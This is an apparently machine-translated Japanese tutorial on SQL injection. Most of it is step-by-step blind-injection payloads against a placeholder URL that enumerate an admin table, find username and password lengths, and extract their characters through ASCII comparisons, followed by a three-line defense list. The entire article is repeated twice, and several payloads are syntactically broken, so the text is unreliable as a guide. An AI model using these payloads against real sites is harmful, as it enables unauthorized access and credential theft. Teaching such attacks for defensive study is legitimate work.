JAVAでのベース------SQL注入の攻撃と防御
4711 ワード
本文は実例を結びつけて、Web応用開発の過程の中で、SQL注入の基本原理、攻撃方式と防御手段を述べる.知識を整理すると同時に、私たちの1024プログラマーデーを記念します.
B/S(ブラウザ/サーバ)モードは、現在最も一般的で、応用が最も広範なネットワーク応用サービス形式に属する.Webアプリケーションサービスは通常、ユーザー認証、クエリーなどの基礎機能に使用されるインタフェースをユーザーに提供しますが、これらの機能はSQL注入欠陥に前提条件を提供します.
1)SQL注入の概念
SQLインジェクション(sql injection)とは、データベースクエリーコードを丹念に構築することで、より多くのサイトデータをクエリーすることです.
SQLが攻撃を注入する意味も明らかです.つまり、悪意のある閲覧者はデータベースのクエリーコードを構築することによって、ウェブサイトの機密データを取得し、ウェブサイトの既存の機能を通じて悪意のある削除データを取得します.
例:
たとえば、プロジェクト情報の照会
Projectsデータベーステーブルはプロジェクト情報を格納するため、プログラムではidでデータを調べることが多い.idはurl種伝達のパラメータである.
idが入力するパラメータが1の場合
類似:select * from projects where id= '1';idが1の項目情報を返します.
ただしidが入力するパラメータが'orである場合 '1'='1
実行されます:select*from projects where id='or'1'='1';すべてのプロジェクト情報が返されます.
2)SQL注入攻撃手段
ステップ1:可能なSQL注入点を探す
Webアプリケーションが類似を提供する場合http://hostname:port/XXXX/list?id= このようなクエリーインタフェースの場合、SQL文も大体次のようになります.
パラメータのフィルタリングが厳しくなければ、SQLの注入点が存在する可能性があります.
ステップ2:SQL注入ホールが存在するかどうかを探します
呼び出してみようhttp://hostname:port/XXXX/list?id=1'
ブラウザが戻ってきた場合:
XXXXX構文エラー
呼び出してみようhttp://hostname:port/XXXX/list?id=1;
ブラウザが戻ってきた場合:
XXXXXは必要な属性をサポートしていません
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=2
ブラウザが戻ってきた場合:
0個のデータを返します
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=1
正常にデータを返します.
ここで基本的に確認できるのは、このサイトにSQL注入の脆弱性があることです.
ステップ3:管理アカウントデータベーステーブルを探す
この場合、プログラマはadminを管理アカウントのデータベーステーブル名として使用すると仮定します.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select * from admin)
正常にデータを返します.
ここまではadminテーブルが存在することがほぼ確認できます.
ステップ4:アカウントデータベーステーブルを管理するフィールドを探します
この場合、adminデータベーステーブルにidフィールドがあると仮定します.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin)
正常にデータを返します.
ここまでidフィールドが存在することを基本的に確認できます.
この場合、adminデータベーステーブルにusernameフィールドがあると仮定します.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select username from admin)
正常にデータを返します.
ここまでusernameフィールドが存在することを基本的に確認できます.
この場合、adminデータベーステーブルにpasswordがあると仮定します. で行ないます.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select password from admin)
正常にデータを返します.
ここで基本的にpasswordを確認できます フィールドは存在します.
ステップ5:ユーザー名とパスワードの長さを探します
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin id =1)
正常にデータを返します.
ここまでid=1がアカウントデータであることはほぼ確認できる.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) < 10 and id=1)
正常にデータを返します.
ここまでusernameの長さ<10がほぼ確認できます.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) = 9 and id=1)
正常にデータを返します.
ここまでは基本的にusernameの長さ=9を確認できます.
同じように、パスワードの長さを推測することができます.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin len(password) = 20 and id=1)
正常にデータを返します.
ここまではpasswordの長さ=20がほぼ確認できます.
ステップ6:ユーザー名の検索
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<120)
asc関数は文字列をASCII符号値に変換し、mid関数はusernameフィールド値を切り取る文字列であり、1ビット目から長さビット1を切り取る.つまり、usernameの最初の文字のASCIIコード値は120未満だと思います.
正常にデータを返します.
ここでは、基本的に、usernameの最初の文字のASCII符号値が120未満であることが確認される.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))>90)
正常にデータを返します.
ここでは基本的にusernameの最初の文字のASCIIコード値が90より大きいことを確認することができる.
サンドイッチの定理と同様に,最終的にusernameのASCIIコード値を確認し,usernameの最初の文字を見つけることができる.
このようにして,最終的にusernameを推定することができる.
最終的に推定されたusernameがrootAdminであると仮定する.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where username ='rootAdmin')
正常にデータを返します.
ここまでは基本的にusernameがrootAdminであることを確認できます.
ステップ7:パスワードの検索
6ステップ目の方法を参照すると、passwordも同様に見つかります.
この場所では、ユーザー名とパスワードが見つかった場合、元は接触できなかったデータを操作できます.
3)SQL注入の防御手段
上の攻撃方式を通じて、防御の構想は主に以下の点がある.
a)ユーザーが提出したデータと入力パラメータを厳格に濾過する;
b)データベースサーバーのアクセス権限を設定する;
c)ストレージプロセスを使用して、動的SQL文の使用を減らす.
B/S(ブラウザ/サーバ)モードは、現在最も一般的で、応用が最も広範なネットワーク応用サービス形式に属する.Webアプリケーションサービスは通常、ユーザー認証、クエリーなどの基礎機能に使用されるインタフェースをユーザーに提供しますが、これらの機能はSQL注入欠陥に前提条件を提供します.
1)SQL注入の概念
SQLインジェクション(sql injection)とは、データベースクエリーコードを丹念に構築することで、より多くのサイトデータをクエリーすることです.
SQLが攻撃を注入する意味も明らかです.つまり、悪意のある閲覧者はデータベースのクエリーコードを構築することによって、ウェブサイトの機密データを取得し、ウェブサイトの既存の機能を通じて悪意のある削除データを取得します.
例:
たとえば、プロジェクト情報の照会
Projectsデータベーステーブルはプロジェクト情報を格納するため、プログラムではidでデータを調べることが多い.idはurl種伝達のパラメータである.
idが入力するパラメータが1の場合
類似:select * from projects where id= '1';idが1の項目情報を返します.
ただしidが入力するパラメータが'orである場合 '1'='1
実行されます:select*from projects where id='or'1'='1';すべてのプロジェクト情報が返されます.
2)SQL注入攻撃手段
ステップ1:可能なSQL注入点を探す
Webアプリケーションが類似を提供する場合http://hostname:port/XXXX/list?id= このようなクエリーインタフェースの場合、SQL文も大体次のようになります.
select * from where =xx;
パラメータのフィルタリングが厳しくなければ、SQLの注入点が存在する可能性があります.
ステップ2:SQL注入ホールが存在するかどうかを探します
呼び出してみようhttp://hostname:port/XXXX/list?id=1'
ブラウザが戻ってきた場合:
XXXXX構文エラー
呼び出してみようhttp://hostname:port/XXXX/list?id=1;
ブラウザが戻ってきた場合:
XXXXXは必要な属性をサポートしていません
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=2
ブラウザが戻ってきた場合:
0個のデータを返します
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=1
正常にデータを返します.
ここで基本的に確認できるのは、このサイトにSQL注入の脆弱性があることです.
ステップ3:管理アカウントデータベーステーブルを探す
この場合、プログラマはadminを管理アカウントのデータベーステーブル名として使用すると仮定します.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select * from admin)
正常にデータを返します.
ここまではadminテーブルが存在することがほぼ確認できます.
ステップ4:アカウントデータベーステーブルを管理するフィールドを探します
この場合、adminデータベーステーブルにidフィールドがあると仮定します.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin)
正常にデータを返します.
ここまでidフィールドが存在することを基本的に確認できます.
この場合、adminデータベーステーブルにusernameフィールドがあると仮定します.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select username from admin)
正常にデータを返します.
ここまでusernameフィールドが存在することを基本的に確認できます.
この場合、adminデータベーステーブルにpasswordがあると仮定します. で行ないます.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select password from admin)
正常にデータを返します.
ここで基本的にpasswordを確認できます フィールドは存在します.
ステップ5:ユーザー名とパスワードの長さを探します
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin id =1)
正常にデータを返します.
ここまでid=1がアカウントデータであることはほぼ確認できる.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) < 10 and id=1)
正常にデータを返します.
ここまでusernameの長さ<10がほぼ確認できます.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin len(username) = 9 and id=1)
正常にデータを返します.
ここまでは基本的にusernameの長さ=9を確認できます.
同じように、パスワードの長さを推測することができます.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and exists( select id from admin len(password) = 20 and id=1)
正常にデータを返します.
ここまではpasswordの長さ=20がほぼ確認できます.
ステップ6:ユーザー名の検索
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<120)
asc関数は文字列をASCII符号値に変換し、mid関数はusernameフィールド値を切り取る文字列であり、1ビット目から長さビット1を切り取る.つまり、usernameの最初の文字のASCIIコード値は120未満だと思います.
正常にデータを返します.
ここでは、基本的に、usernameの最初の文字のASCII符号値が120未満であることが確認される.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))>90)
正常にデータを返します.
ここでは基本的にusernameの最初の文字のASCIIコード値が90より大きいことを確認することができる.
サンドイッチの定理と同様に,最終的にusernameのASCIIコード値を確認し,usernameの最初の文字を見つけることができる.
このようにして,最終的にusernameを推定することができる.
最終的に推定されたusernameがrootAdminであると仮定する.
呼び出してみようhttp://hostname:port/XXXX/list?id=1 and 1=(select id from (select * from admin where id=1) where username ='rootAdmin')
正常にデータを返します.
ここまでは基本的にusernameがrootAdminであることを確認できます.
ステップ7:パスワードの検索
6ステップ目の方法を参照すると、passwordも同様に見つかります.
この場所では、ユーザー名とパスワードが見つかった場合、元は接触できなかったデータを操作できます.
3)SQL注入の防御手段
上の攻撃方式を通じて、防御の構想は主に以下の点がある.
a)ユーザーが提出したデータと入力パラメータを厳格に濾過する;
b)データベースサーバーのアクセス権限を設定する;
c)ストレージプロセスを使用して、動的SQL文の使用を減らす.